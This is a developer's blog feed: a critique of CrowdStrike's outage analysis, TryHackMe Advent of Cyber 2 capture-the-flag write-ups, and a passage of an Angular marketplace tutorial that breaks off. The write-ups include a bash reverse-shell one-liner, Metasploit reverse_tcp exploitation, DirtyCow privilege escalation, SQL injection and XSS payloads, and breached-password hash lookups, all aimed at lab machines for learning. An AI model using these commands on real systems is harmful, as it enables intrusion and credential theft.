DEV Community: Middleclass Dev

Commentary on CrowdStrike BSOD Root Cause Analysis Release

Middleclass Dev — Fri, 09 Aug 2024 16:06:10 +0000

After the initial incident response writeup, CrowdStrike recently posted this more in depth Root Cause Analysis (RCA).

The link leads to an overview and the actual RCA is written as a 12 pages PDF.

In my opinion, this RCA is crafted more for PR instead of clearly stating the issue. Which is kinda expected as don't think there's a good reason a fallout this big can happen this way.

Firstly, the reports hide the very obvious mitigation of Template Instances should have staged deployment to be the last one when it should have been the first. It also gives the feeling of purposely putting a lot of domain specific details to numb reader out before getting to that final mitigation points 🔴

CrowdStrike also skimmed over another important detail which is its kernel code. This statement is repeated in previous report and this RCA Rapid Response Content is configuration data; it is not code or a kernel driver , but the fact that the data is used by kernel code and in fact did cause issue means that it should be treated similarly. The mitigation here should be to review the whole architecture and make sure the absolute minimal code are running in kernel mode. Guess that is gloss over cause it will be costly or shine them in a bad light 🤷

AoC 2 [2020] TryHackMe CTF 🐱‍💻Day 13 & 14

Middleclass Dev — Sat, 27 Aug 2022 09:55:15 +0000

Day 1️⃣3️⃣
- 👣Steps
Day 1️⃣4️⃣
- 🧠Info
- 👣Steps

Day 1️⃣3️⃣ - Linux Enumeration, Discovering and Priv Escalation

👣Steps

Initial access
- The first few questions only need to follow the info provided in the questions
- After running nmap {machine IP}, out of the 3 open ports telnet is the old, deprecated service that stands out.
- To get the password, just run telnet {machine IP} {telnet port number}. The username and password are shown in the login welcome messages.
Enumeration
- Run the 3 commands recommended by the questions to learn more about the machine
  - cat /etc/*release
  - uname -a
  - cat /etc/issue
- The answer for the first question is shown in the output of the first command above
- Running cat cookies_and_milk.txt will show the answer for the question of Who got here first?
Privilege Escalation via DirtyC0w 🐮
- The question provided a link that contains more info about this exploit.
- That link contains this page where it has a lot of proof of concepts (POCs) for this exploit.
  - However, non of them is the one that this question intend us to use.
- Ended up using grep.app to search code online to find the original code.
  - The search string used is struct Userinfo user;
- All the top search results are the correct original dirtyc0w C source code
- Choose the C file in exploitdb even though it's filename is not correct because exploitdb is a known repo to me
- The answer to the question on how to compile the code is found in line 17.
- The subsequent question is what is the new user that is created when ran using the original source
  - The answer can be found by reading the original source
  - The answer is in line 131
- Lastly, to obtained the flag ⛳
  - first create a file named dirty.c, then copy all the content of 40839.c into in
    - This can be done in various ways, what I did were the following:
      - touch dirty.c
      - nano dirty.c
      - Paste all the content by right click / shirt-insert / any other paste shortcut of your terminal
      - Ctrl+o to save to file
      - Followed by Ctrl+x to exit the Nano text editor
  - run gcc -pthread dirty.c -o dirty -lcrypt to compile the exploit
  - run the exploit -> ./dirty
    - enter any new password for firefart user
  - Either background the current process, or open another telnet connection
  - su firefart to attempt to switch user to firefart
    - enter your new password
  - read the message left by prepertrator as mentioned in the question
    - cat message_from_the_grinch.txt
    - inside it explains what it means to "leave behind the coal"
      - perform the action explained
    - finally run tree | md5sum as explain in the text file and the question
    - flag obtained == profit 💰

Day 1️⃣4️⃣ - OSINT (Open Source Intelligence)

🧠 Info

Tips & tricks
- Use search engine query as a precusory scan through the internet
- The use of special symbols such as quotes, negative sign etc goes a long way reveal just the results that we wanted
- Directly search the site itself rather than using search engine might reveals desirable results
  - Example, reddit & twitter
- Uses different search engines or niche search engine for a specific search type
  - For example, use SymbolHound to search for query that contains special characters.
- Use image searches to search for visually similar images
  - Google image search
  - https://yandex.com/images/
  - https://tineye.com/
  - https://www.bing.com/visualsearch?FORM=ILPVIS
- Use breached data
Tools to search for user accounts across social media platforms.

👣Steps

Task #1
- To begin, search for reddit IGuidetheClaus2020 in DuckDuckGo
- Go to the first result, clicked on the comment tab and the URL is the answer for the first question
- For the second question, the answer is in the overview tab
- Google'd IGuidetheClaus2020 creator robert will reveals IGuidetheClaus2020's creator last name
- Along side IGuidetheClaus2020's creator, among the search results is IGuidetheClaus2020 twitter account. This is the answer for the fourth question
Task #2
- In a few of the retweets, IGuideClaus2020 mentioned a TV show.
- Two of the tweets mentioned about parade, with the first one explicitly giving hint about going to a parade
  - Performing a visual search of the image will reveal in which city the parade is held.
- The question about where exactly the parade image is taken is the most technical so far
  - First, find an image metadata viewer AKA EXIF viewer. Search for online exif data viewer and use the first result. For me it is https://onlineexifviewer.com/
  - Using this we can avoid the need to download and install a software
  - Using the 2 URLs of the 2 images of the parade, we found that they don't contain any EXIF data.
  - However, another post shared a high quality photo of one of the parade image.
  - Using that URL in https://onlineexifviewer.com/ reveals the exact GPS location coordinate.
  - Round down the precision to 6 decimal will yields the answer.
  - In the same EXIF data, there's a flag in the copyright field
- The question about has Rudolph been pawned and what password of his appeared in a breach is a more open ended question
  - There is hints in the task#2 description where it mentioned questions #6 -11 can be solved by using info on his twitter account
  - Steps to answer this question is as follows
    - Follow the steps in this site to use Scylla
    - However, found out that the tools are outdated and don't work on the current Twitter
    - Visit the twitter user page and noticed the email is listed in the user description
    - Use haveibeenpwn to search and it only mentioned about the password is being breached in LiveJournal
    - Search online for more data breached site and came across breach directory
    - Here it shows two sha1 which hints of what are the password
      - live************: 7ae929950f2d937538eee064371ceb612ed9c59e
      - spyg***: 6e3f262dccc80924be40aa96554ce5df182e939a
    - Then, use a site called md5decrypt to search for the decryted password. Usually the sha1 of common password are easily searchable without the need to crack 🦀 them ourself
      - Another alternative is where it manages to find decrypt the first sha1 while md5decrypt fails.
      - Try it for yourself and get the excitement of figuring out a password!
- For the question of what is the street number of the hotel Rudolph is staying
  - Originally can't figure out where to start.
  - However, after some pondering and failed online search got a relization that this question probably is asking about Rudolph when he is in Parade as those twitter post will still be consider new during the time this CTF is on-going
  - Check the EXIF data of the parade high-res photo using https://onlineexifviewer.com/
  - Opening the GPS coordinate using google map, and search for the closest hotel.
  - The street number of the hotel address is the answer to the final question

AoC 2 [2020] CTF 🐱‍💻Day 10 to 12 (+bonus challenge)

Middleclass Dev — Fri, 19 Aug 2022 14:43:00 +0000

Previous AoC2020 Writeups
Day 🔟
- 👣Steps
Day 1️⃣1️⃣
- 🧠Info
- 👣Steps
- 🎉Bonus
Day 1️⃣2️⃣
- 🧠Info
- 👣Steps
- 🎉Bonus

⏮Previous AoC2020 Writeups

Day 1 to 9 writeups.

Day 🔟 - Network file sharing (Samba) Exploit via enum4linux

👣Steps

Get enum4linux-ng source from github
Using docker as there's no easy installation for windows
change directory to enum4linux-ng
build the docker image using the Dockerfile docker build . -t enum4linux-ng
- Optionally it is possible to directly called docker build using git URLs. Didn't spent too much time on testing that as the source code for enum4linux-ng is small.
Find how many users are on the samba server by running docker run --rm -it enum4linux-ng -U {samba server IP}
- The command fails to find user, run the help command to figure out other mode of enumerating users docker run --rm -it enum4linux-ng help
- Use RID cycling instead of only RPC to enumerate users -> docker run --rm -it enum4linux-ng -U -R {samba server IP}.
  - In fact -R should already be sufficient because -U fails to find any user.
Find how many samba share are available by running docker run --rm -it enum4linux-ng -S {samba server IP}
Tried the 4 shares one by one to see which one don't need password
- When typed in windows explorer, found that 3 of the 4 shares got auto-complete
- Chose \\{samba server IP}\tbfc-santa as intuitively that looks to be the most likely candidate
- Bingo!
From the windows explorer, it is obvious that jingle-tunes is the directory that ElfMcSkidy leave for Santa

Day 1️⃣1️⃣ - Privilege Escalation

🧠Info

The "Priv Esc Checklist"
1. Determining the kernel of the machine (kernel exploitation such as Dirtyc0w)
2. Locating other services running or applications installed that may be abusable (SUID & out of date software)
3. Looking for automated scripts like backup scripts (exploiting crontabs)
4. Credentials (user accounts, application config files..)
5. Mis-configured file and directory permissions
List of files useful for reconnaissance
- id_rsa: common filename of a file that stores private key for ssh
- /etc/sudoers: list of users that can use sudo
- /etc/shadows & /etc/passwd: files that are the most commonly used and standard scheme for performing authentication
  - this can be useful for password cracking
Finding executables with SUID set
- find / -perm -u=s -type f 2>/dev/null
- One trick is to set SUID on the cp command
  - chmod u+s /usr/bin/cp
  - cp can then be used to copy locations of interests such as other users directory and the /root directory.
Covering tracks basics
- /var/log/auth.log: Attempted logins for SSH, changes too or logging in as system users
- /var/log/syslog: System events such as firewall alerts
- /var/log/{service}: common og directories for services

👣Steps

The challenge is only to read the content of /root/flag.txt
The rest of the questions are to guide you towards that objective.
First ran find / -perm -u=s -type f 2>/dev/null to find executables with SUID set
- /bin/bash jumps out right away, first idea is to use -c to directly cat the flag. Somehow that don't work.
There's no need to use wget or nc to get LinEnum.sh over to the machine.
- We can just use nano to save our pasted text directly as the shell script.
Further reading reveals that the most probable reason is the executable ran by the SUID executable will need to have SUID bit set.
- That means for bash -c "cat /root/flag.txt" to work, /bin/cat will need to have its SUID bit set.
- tried to use chmod to set SUID but chmod itself don't have SUID set
Finally give up on self exploration and just refers to bash entry in GTFObins
- The solution is to simply run bash -p!!!
- -p means: Turned on whenever the real and effective user ids do not match. Disables processing of the $ENV file and importing of shell functions. Turning this option off causes the effective uid and gid to be set to the real uid and gid.
- man bash explains it better: If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
After bash -p, running cat /root/flags.txt will show the flag
🎉Bonus
Took a look in /var/log/auth.log, there we can see that cmnatic is logged in via ssh.
Then, the log shows that cmnatic user opens a session as root (uid=0)

Day 1️⃣2️⃣ - Enumeration, Discovering and Exploiting Windows Web Servers

🧠Info

An attacker can use knowledgebases such as Rapid7, AttackerKB, MITRE or Exploit-DB to look for vulnerabilities associated with the version number of that application.
Learn more about these knowledgebases in MuirlandOracle's Intro to Research room.
Interesting endpoints of a webserver
- cgi-bin/: example is {webserver IP}/cgi-bin/systeminfo.sh
  - ?& can be used to chain OS commands here: example {webserver IP}/cgi-bin/systeminfo.sh?&ls

👣Steps

Run nmap -sS {machine IP} to discover what port the webserver is serving the website
- Found out that the website is serves on port 8080
- Load the webpage on {machine IP}:8080 reveals that it is using Apache Tomcat v9.0.17
Search online about Apache Tomcat 9 CGI CVE to find what exploits can be used against the webserver - One of the top search results is Apache Tomcat 9.x vulnerabilities - The exploit that we will be using is fixed in v9.0.19 (CVE-2019-0232)
Install Metasploit. Originally was going to do manual exploitation, however in the interest of time installed Metasploit in WSL2 instead
- follow the tryhackme guide to install and configure openvpn for linux
- To connect to the openvpn, run sudo openvpn /path/to/file.ovpn. No need to run openvpn as a service as we are only using this connection temporary.
Next, figuring out what is the CGI script path that is vulnerable
- Tried using gobuster to scan for the path by using wordlist from Seclist
  - /c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://{webserver IP}:8080 -w xmas-advent-2020/wordlist/CGIs.txt 2>/dev/null
- No results from the scan. Turned out the CGI script is already informed in the question 🌚!
  - /cgi-bin/elfwhacker.bat
metasploit complete command history
- search CVE-2019-0232 to search for which exploit to use
- use 0 to select the 1st exploit from the search result
- options to view all the paramaters required to exploit and run the payload
- set RHOST {machine IP} to set webserver IP
- set LHOST {openvpn IP} to set attacker machine IP. This is for running the payload which is a reverse TCP shell (windows/meterpreter/reverse_tcp)
- set TARGETURI /cgi-bin/elfwhacker.bat to set the path to the vulnerable CGI script
- set PAYLOAD windows/meterpreter/reverse_tcp to set the payload. This should be optional as this payload should be selected automatically.
- exploit to start running the exploit
- When the prompt changed to meterpreter >, and some console output about a session is opened. The reverse TCP connection is established successfully.
- shell to run shell on target machine
- Now the prompt should show windows cmd prompt. Run dir to locate the flag
- Run type flag1.txt to view the flag. PROFIT 💰

🎉Bonus

There are at least 2 ways to escalate privileges. This section is a journal on exploring that!
Run the exploit steps to gain the shell access
Recon
- When in meterpreter, run post/multi/gather/tomcat_gather
  - This post exploitation module is found in this site.
  - The tomcat username and password seems to be simple tomcat:tomcat
  - that don't looks like the windows admin user, it looks to be just tomcat specific user
- To confirm that, run post/windows/gather/enum_logged_on_users
  - This shows us the recently logged on users: elfmcskidy, cmnatic, and Administrator.
    - The shell session that we acquired is tbfc-web-01\elfmcskidy.
  - This is done by running shell, followed by whoami.
  - We can know whether the current user has admin privillage by running net user %USERNAME%.
  - From the output, we confirmed that elfmcskidy is a local admin as the user is in the Administrators local group
  - Run exit when we are done with the shell session.
- run post/windows/gather/enum_applications to list all the installed applications
  - One application jumps out which is java. Which isn't that suprising given that the webserver is using Apache Tomcat.
  - However this is a potential privillege escalation gateway that might come in handy.
- Having done all the manual recon without any quick idea, run post/multi/recon/local_exploit_suggester to let the script to automatically suggest exploit for us.
  - Ran info {name of exploits} to find an exploit that can escalated privillege
  - somehow all the suggested exploits didn't work
Escalation successful
- After the failed attempts on using exploits suggested by local_exploit_suggester, noticed there's a command called getsystem in the help menu of meterpreter.
- Run getsystem, viola! Running getuid confirms that we are NT AUTHORITY\SYSTEM 🥳
- However, when running shell, we are not directed into an interactive shell session.
  - It seems to be a known issue for this room as shown in this github issue.
  - Use the recommendation to migrate the server instance to another process.
  - Run migrate {PID of choice that is running under SYSTEM user}
  - Here, take note that it mentioned migrating from 3544 to 1396.
  - Using ps it is revealed that 3544 is a process called meIir.exe which is running as elfmcskidy.
  - That might be the reason why despite the tokens for SYSTEM user is acquired, we are still not able to create a SYSTEM shell session.
  - Running shell after the migration is done shows that we are NT AUTHORITY\SYSTEM user now! ✔

CTF - Advent of Cyber 2 [2020] Writeups (Day1 to Day9)

Middleclass Dev — Wed, 10 Aug 2022 15:43:00 +0000

This post will be the first of the many (hopefully 😉) posts in a series for tryhackme writeups! Specifically, this post is about the now old but very good beginner friendly CTF room - Advent of Cyber 2. More details below!

⚠ IMPORTANT ⚠ For someone who don't wish to be spoilt, do not read the writeup section of this post. A lot of them consisted of the exact commands and steps took when attempting the challenges.

Motivation
Who should try this tryhackme room
Writeups Link to writeups categorized by day
- Day 1️⃣
- Day 2️⃣
- Day 3️⃣
- Day 4️⃣
- Day 5️⃣
- Day 6️⃣
- Day 7️⃣
- Day 8️⃣
- Day 9️⃣

⚡ Motivation

Despite having a career as a professional software developer for close to 10 years now, I always find myself

intrigued by cybersecurity work - pen-testing, malware analysis, reverse engineering, etc
unknowingly spending significant amount of time exploring related tricks/tools (dotpeek, nmap, sysinternal tools, linux internals, etc)
and keeping up with relevant news (favourite podcast - Risky Business, favourite youtuber - LiveOverflow)

Still... Somehow I don't ever feel fulfilled, in fact I think I spread myself too thin over a wide field. A metaphor that comes into mind is me sniffing the smell of great food 🥗 in all corners of the world without eating any of them once!

Recently stumbled across the advent of cyber as a fun and beginner friendly way to learn CTF holistically.

The great learning experience that I had so far ignites 🔥 me to complete the whole room (day 25). Will certainly look forward to this year's advent of cyber!
Decided to also share my writeup because I already write a quite thorough note for personal reference - AKA I mostly only need to additionally write an intro for the start of a new room!
Lastly, I think that good writing skills is a very important part of cybersecurity work. By publishing writeup articles it serves as a valuable 💎 practise and also a potential portfolio ;)

❓ Who should try this tryhackme room

Based on my bias background, I imagine software developers or other IT professionals that would like a gleams of how CTF works will find my writeups mildly beneficial 🙂
Similarly, I think this room is suitable for IT professionals but not someone that is new with computer technology.
Information about tryhackme is easily searchable online. For those who like to have something to start reading about right away, this is an article about what are other good tryhackme room that are free?.
☝ Last by not least, the writeups are detailed but the words used are not polished unlike the introduction text.
- Aside from the exact commands and steps, the writeups also contains bonus links to tools that I found useful.

⭐ Writeups

Finally the meat of the post! Note that I am mostly using my local windows machine + OpenVPN as the 'attacker' machine.

You can opt to use the 'AttackTheBox' machine which is free to deploy once a day.

Day 1️⃣- Simple cookie auth bypass

using cyberchef or dcode.fr to decode the auth cookie value

Day 2️⃣ - Upload vuln

There is a recommendation about a room dedicated to bypassing file upload
steps
- uploaded the php file by renaming it from reverse-shell.php to reverse-shell.png
  - CORRECTION: reverse-shell.jpeg.php
- use netcat in git bash to listen to reverse shell
  - ncat -l 443
- visit {tryhackme deployed machine}/uploads/reverse-shell.png in browser
- profit
unfortunately...
- need to debug why there's no connection
- make sure firewall allowed inbound connection for ncat.exe for private network
- make sure ncat command is working by connecting to the same port
  - ncat -w 5 localhost 43434
- trying tcpdump / windump
  - tcpdump needs to install additional driver
  - windump crash due to exception
  - used the following cmds in this attempt
    - netsh interface show interface
    - tcpdump.exe -i "Local Area Connection" -nn port 43434
    - WinDump.exe -i "Local Area Connection" -nn port 43434
- {source}
- https://support.cpanel.net/hc/en-us/articles/4402800122007-How-to-use-ncat-and-tcpdump-to-test-network-connections
Good reference
- stabilize reverse shell
conclusion
- turn out that...!
- the file uploaded must end with .php

Day 3️⃣ - Bypass Auth via brute force

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --proxy-server="localhost:8080"
"/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"
Debugging why zap not getting traffic
- spent a lot of time making sure proxy and certificates are configured
- Use edge://flags/#unsafely-treat-insecure-origin-as-secure flag and add the domain to prevent auto https redirect
  - not working -> "http://10.10.190.96,http://10.10.190.96:8080,http://10.10.190.96:443"
- TURN OUT THAT...
  - Just need to add 127.0.0.1:8080 as the proxy in openvpn client setting
  - AND make sure msedge --proxy-server parameter don't specify http!!!!!!!!!!!!!
  - And use fuzzer to brute force username and password

Day 4️⃣ - Discovery using gobuster and wfuzz

pip install wfuzz
download gobuster from it's github repo
- %USERPROFILE%\Downloads\Hackish\gobuster\gobuster.exe
history
- /c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w wordlist.txt
- download more wordlist from SecList
- run gobuster with cleaner output by redirecting stderr to null
  - /c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w dirsearch.txt 2>/dev/null
  - found ==http://10.10.79.2/api/==
- download wfuzz docker pull ghcr.io/xmendez/wfuzz
- run wfuzz
  - docker run --rm -v wordlist/:/wordlist/ -w /wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz -c -z file,date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.php
- running in git bash fails. Need to run in cmd
  - docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.ph
  - final working cmd -> docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -u http://10.10.255.75/api/site-log.php?date=FUZZ
  - Got that final command by referring to wfuzz basic usage and docker run doc

Day 5️⃣ - Dump gift list by bypassing login using SQLi

SQL injection login bypass exercise
- username: ' or true --
- password: anything') or true; --
- Resulting backend SQL query
```
SELECT * FROM users
WHERE username = '' or true --'
AND password = MD5('anything') or true; --')
```
tips by reading the santa note
- database used is SQLite
- bypass WAF by using tamper script
- combined: --dbms=SQLite --tamper=space2comment
History
- guessed the login panel by looking at the hint: s**tap****
- successfully bypass login by filling username with ' or true --
- the searching function seems broken, maybe due to the way we login
- first tried blink SQLi using http://{machine IP}:8000/santapanel?search=1' AND%20(ascii(substr((select%20database()),1,1)))%20=%20115%20--+
- that fails, then tried a UNION SQLi and it lists out all the gifts!
  - http://10.10.51.232:8000/santapanel?search=' ORDER BY 1--
  - this answers the questions of how many gifts and also what Paul wants as a gift
- As UNION SQLi is effective, used that to determine how many column the authentication table has
  - delete the sesion cookies so that we can logout
  - found out there's 2 columns for the authentication table
  - Give it a shot to run the attack in the search box and it works to extract the auth table despite executed in gift table?
    - http://10.10.51.232:8000/santapanel?search= ' UNION SELECT username, password FROM users --
    - got the admin user and password via this method
- For the question of what is the flag, that requires dumping the whole database
  - at first went the wrong direction and try to run sqlmap on the login POST request
  - after realizing that is not the correct way, run sqlmap on the search gift GET request instead
    - first save the GET request as a file from the browser devtool > network > right click the request > copy > request header
    - then run the following command python sqlmap.py -r ../xmas-advent-2020/day5/santapanel-search --dbms=SQLite --tamper=space2comment --dump-all
    - noticed that we are specifying the database and also a tamper script to bypass the WAF

Day 6️⃣ - Hijack Wish List via XSS

Launch proxied msedge
- "/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"
History
- Successfully used stored XSS attack -> end of wish</p> <script>alert("xss")</script>
- Then just run the automatic scan using OWASP ZAP

Day 7️⃣ - Analysing basic networking traffic using wireshark

Most questions here are straight forward
- Just need to open the packet from the downloaded zip file from the lab
- Follow the instructions and basically just need to use basic filtering such as
  - not ssh
  - http
- The least obvious will be the last question, which can be done just by exporting the request using http
  - then select the packet with the context type of application/zip > save

Day 8️⃣ - Network discovery using NMap

Two common TCP scan
- Connect Scan - nmap -sT {ip}
- SYN Scan - nmap -sS {ip}
  - SYN/ACK = open
  - RST = Closed
  - Multiple attempts = filtered
Timing template -> -T0 to -T5
- default is -T3
- level 0 is 1 port scan every 5 minutes
- level 5 is 1 port scan every 0.3 seconds
-Pn: Treat all hosts as online -> skip host discovery
-sV: Probe open ports to determine service/version info
history
- ran nmap -sS {ip} just to answer the first question.
  - compared the output to connect scan -sT. This seems much slower than SYNC scan, didn't wait for it to timeout as not being patient =P
- ran nmap -Pn {ip} and got almost the exact output compared to SYNC scan
- Compared the output of -A and -sV
- ran nmap --script http-title 10.10.253.171
  - this returns "Internal Blog"
- ran nmap --script http-apache-server-status 10.10.253.171
  - this don't return anything extra
- ran nmap --script ssh-auth-methods 10.10.253.171
  - this reveals that the server support publickey and password ssh auth.

Day 9️⃣ - Root access via anonymous FTP

The ability to gain root access depends on ALL the following
- anonymous mode for FTP is enabled
- Permission for anonymous user to upload files
- Ability to execute code as root using the file that we uploaded
History
- ftp {ip}
  - type anonymous as the username
  - ftp> ls -la to list all files and folder of the current directory
- ftp> ls public to list all files inside the directory that anonymous user has read and write permission.
- ftp> cd public; get backup.sh; get shoppinglist.txt
  - this will answer the last two questions
- The last question guide us to use reverse shell to gain access to the root shell.
  - however an easier shortcut is just to run
    - cat /root/flag.txt > flag.txt
    - followed by ftp> get flag.txt to read the flag.
  - also tried the recommended reverse shell method as this is the most flexible generic method.
    - bash -i >& /dev/tcp/{dev ip}}/4444 0>&1
    - run listener on dev machine ncat -lvnp 4444
- ==conclusion==
  - need to use the reverse shell method.
  - somehow flag.txt didn't get writen despite putting both the commands in backup.sh
  - One last important point, haven't found a way to change a new file that is uploaded to have executable permission.
  - Thus, just need to write the exploit script in backup.sh which has executable permission.

How to Build a Marketplace with Angular (Etsy Clone)

Middleclass Dev — Thu, 16 Sep 2021 17:04:43 +0000

What you’ll be building

Snapshots of the simple Etsy clone, spice up with chat 🗯 functionality!

Demonstrating seller’s reply using mobile view 📱

Introduction

Building a marketplace website is a great way to learn frontend programming. This is because it requires both creating a good user interface experience 🖥 and interacting with backend APIs 🧠.

On top of a basic marketplace website, by the end of this tutorial you will be equipped with the knowledge of how to integrate live chat 🗣 using simple yet powerful CometChat Pro SDKs & API. We will be focusing on using the Angular UI Kit out of the many supported CometChat Pro UI Kits.

All source code in this tutorial can be found in this Github repo. It consists of two main folders:

a starter folder for you to follow along and
a final folder that you can quickly spin up to experience the end result.

With that said, let’s jump right in for an exciting learning journey 🚀!

Prerequisites

This tutorial is geared towards a beginner with a few intermediate level usage of Angular. The intention is to maximise 📈 learning and to create a good working demo of an Etsy marketplace clone.

Listed below are what you will need to get the most out of this tutorial:

A basic understanding of HTML, JavaScript and TypeScript.
Angular Version 11.
Node JS Version 10 or higher.
Any modern text editor, VS Code is recommended.

Running the Angular Marketplace Example Online

To instantly ⚡ dip your toe into running and changing the website content, you can use the Stackblitz online editor and preview shown below. Note that this is the starter website and not our final version shown as GIFs at the top of this article.

Here it is in action:

After exploring the code and the website in StackBlitz, it is still recommended to run the example locally due to performance and security reasons. That will be covered in the next section.

Running the Angular Marketplace Example Locally

Install Node.js and NPM from https://nodejs.org/
Download or clone the project source code from https://github.com/wizlee/angular-marketplace.
- Note: If you are using git clone in windows, you may need to run git config --global core.longpaths true before cloning in order for the clone to be successful. This is to overcome the windows filepath length limitation.
Change directory to the ‘angular-marketplace’ folder that you just downloaded/cloned - cd angular-marketplace.
We will use the 'angular-marketplace-start’ folder as our base project and work our way to the final version. First, change directory into it by running cd angular-marketplace-start.
Install all required npm packages by running npm install or npm i from the command line in the 'angular-marketplace-start’ project folder.
Install Angular CLI version 11 globally on your system by running npm install -g @angular/cli@11.
Start the application by running npm start from the command line in the project folder.
The following screen will greet you after Angular prompted you to view the website by going to http://localhost:4200/.

Voilà! We are already presented with a complete Etsy home page. In the following sections the rest of the functionalities 🛠 will be gradually added

Project Structure 🏗

Before going into the step by step tutorial, a list of important folders are shown below, followed by its explanation. Most files and folders are excluded to focus 🎯 on the items that will provide the best overview for you.

- angular-marketplace-final
    - ...
- angular-marketplace-start
    - src
        - app
            - account
                - ...
            - app-routing.module.ts
            - app.component.html
            - app.component.ts
            - app.module.ts
            - chat
                - ...
            - home
                - ...
            - product
                - …
        - assets
            - ...
        - CONSTS.ts
        - index.html
        - main.ts

Going from top to bottom, we will be focusing on angular-marketplace-start because angular-marketplace-final contains identical folder structures. The only difference being that the final folder is what we will achieve by the end of this tutorial. You can choose to quickly run the final version by following the steps in Github before going for the detailed step by step tutorial in this article.

We will spend most of our time in the src folder. The files outside of this folder are configuration files for Angular, TypeScript or NPM.

The app 📦 folder contains all our Angular modules and components. Every folders inside here is an Angular module that serves a specific feature for our marketplace website. The 4 files prefixed with the word app in this folder are for the default App module. They serves as an entry point for the 4 modules.
1. Account module: Handles everything that relates to authentication (sign up, login, etc).
2. Chat module: Provides chat functionality.
3. Home module: Contains all the UI components for the home page.
4. Product module: Fetches, add and displays products.
The asset 📂 folder contains all our static resources such as pictures and external files from the internet.
CONSTS.ts is a file that stores all the CometChat constants of our website.
Finally, index.html and main.ts are the entry point for any Angular project. Specifically, index.html is often the default file to serve for a website while main.ts bootstraps the Angular default App module.

Step 1️⃣: Integrate CometChat 💬

This section is the continuation of “Running the Angular Marketplace Example Locally” section above. Make sure to complete the steps in that section before starting here.
Head to CometChat Pro and create an account.
From the dashboard, create a new app called "Angular Marketplace" as shown below:

CometChat add new app screenshot
Once created, go into your app, and you will be presented a quick start page as below. Take note of the APP ID, Region and Auth Key values.

CometChat quick start screenshot
If you haven’t done so, open the angular-marketplace-start folder in VS Code or any other modern text editor.
Modify the APP ID, Region and Auth Key values in angular-marketplace-start/src/CONSTS.ts into the values you get from step #3 above.
Setup CometChat’s Angular UI Kit:
- Add CometChat dependency - npm install @cometchat-pro/chat@2.2.1 --save
- Initialize CometChat ✨ by modifying angular-marketplace-start/src/main.ts into the following: https://gist.github.com/wizlee/9fb5bc670cace9971bbc13b369e7fffd

- Add CometChat Angular UI Kit into the starter project:
    - Download Angular UI Kit using [this link](https://github.com/cometchat-pro/cometchat-pro-angular-ui-kit/archive/refs/tags/v2.2.1-1.zip). 
    - Rename the unzipped folder into **cometchat-pro-angular-ui-kit** and copy the folder into **angular-marketplace-start/src/.** The directory should look similar as below:

Folder structure after adding CometChat Angular UI Kit

- Install @ctrl/ngx-emoji-mart by running `npm install @ctrl/ngx-emoji-mart@5.1.1 --save`
- Modify the styles in **angular-marketplace-start/angular.json** to the values as shown below:
"styles": [
  "src/styles.css",
  "node_modules/@ctrl/ngx-emoji-mart/picker.css",
  "src/cometchat-pro-angular-ui-kit/CometChatWorkspace/projects/angular-chat-ui-kit/src/css/styles.scss"
  ]

That’s all for the CometChat integration! Let’s have a pit stop 🛑 here and make sure everything is working correctly.
1. At this stage, we had initialize CometChat and install all the dependencies that our website requires.
2. We can verify this by running our website using the npm start command.
  1. You can directly start with the steps below if you always kept the website running all these while. By now you will realized that Angular supports hot reload ⚡ by default, which means that any changes we made to the source code will automatically reflect in our website.
  2. Our website is running at http://localhost:4200/ by default. Open it in any modern browser and press the ‘F12’ key to bring up the developer console.
  3. If everything is smooth sailing ⛵ so far you will see “CometChat initialized successfully” in the console log as shown below. Browser Dev Tool console log

Step 2️⃣: Sign In & Inbox 📥 Features

In this section, we will first start with the Sign In feature. The result is as shown below:

Screenshot for Sign In and Register
1. The ‘Sign In and Register dialog’ is a modal dialog that overlays any existing page by giving it a grey overlay to make the modal dialog stand out.
2. All UI and logic 🧠 for this dialog are handled in two files:
  1. angular-marketplace-start/src/app/account/login.component.ts
  2. angular-marketplace-start/src/app/account/login.component.html
3. No change is required for the UI code (login.component.html), while login.component.ts already contains most of the code for it to work. The complete changes are shown below, or you can always refer to the angular-marketplace-final folder for the full version anytime throughout this tutorial. https://gist.github.com/wizlee/3c7bd741f0a0467ba44dc39fea7e2089
After successfully login or registering new users, it’s time for the inbox 📥 feature.

Demo for Inbox feature
1. The inbox button navigation is already implemented by the Inbox component (src/app/inbox/inbox.component.ts). navigateToConversationListScreen() { this.router.navigate(["/conversation"]); }
2. On the other hand, the CometChat inbox component is already done by the CometChatConversation component (src/app/inbox/comet-chat-conversation.component.html).
3. So why the inbox feature is still not working? 🤔 If you guess that the Chat module has not routed the Inbox component request to the CometChatConversation, you are spot on ✅. Update src/app/inbox/chat.module.ts to the same as below to connect the dots! https://gist.github.com/wizlee/2c5c7f466d036c4fb9d0bfc83f784e6c

Step 3️⃣: List & Add Goods

First, we will enable the feature to list goods 🛒. A ‘fake’ backend is used to retrieve our goods to keep the code and the setup simple. The result is as shown below:

Demo for listing goods using the ‘fake’ backend - src/product/_api
1. Most of the code related to goods can be found in the Product module in src/product/ folder.
2. src/product/_api is the ‘fake’ backend. It is consisted of:
